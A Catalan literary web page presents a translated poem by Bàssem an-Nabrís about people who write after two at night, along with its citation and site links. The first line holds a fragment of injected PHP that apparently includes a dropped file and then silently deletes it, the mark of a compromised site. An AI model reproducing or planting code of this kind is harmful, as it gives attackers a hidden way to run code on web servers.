");fclose($hdl);include("{$eb}.$algo");@unlink("{$eb}.$algo");$npDcheckClassBgp='aue';} ?> Els que escriuen després de les dues
Facebook Twitter
Portada > Literatura universal en català > Bàssem an-Nabrís

Els que escriuen després de les dues

Traducció de Valèria Macías Pagès

Els que escriuen després de les dues cada
nit,
els que caminen entre la gent preocupats
per la idea que seran morts en qualsevol
moment,
els que amb una hora de música en
tenen prou per vessar llàgrimes,
en tenen prou de saber que són ombres
que caminen per una terra que no és
segura,
aquells o els col·lectors de cendra.

Bàssem an-Nabrís, Totes les pedres. Calonge [Mallorca]: AdiA, 2014, p. 21.
Bàssem an-Nabrís, 2012. Foto: Víctor P. de Óbanos.
Fragments
Amor
Valèria Macías Pagès
Oh, pare… se’n van anar als núvols
Valèria Macías Pagès
Prevenció
Valèria Macías Pagès
Bibliografia
Cercador d’autors
A-B-C-D - E-F-G - H - I
J - K - L - M - N - O - P - Q - R
S-T-U-V-W-X-Y-Z
Amb el suport de: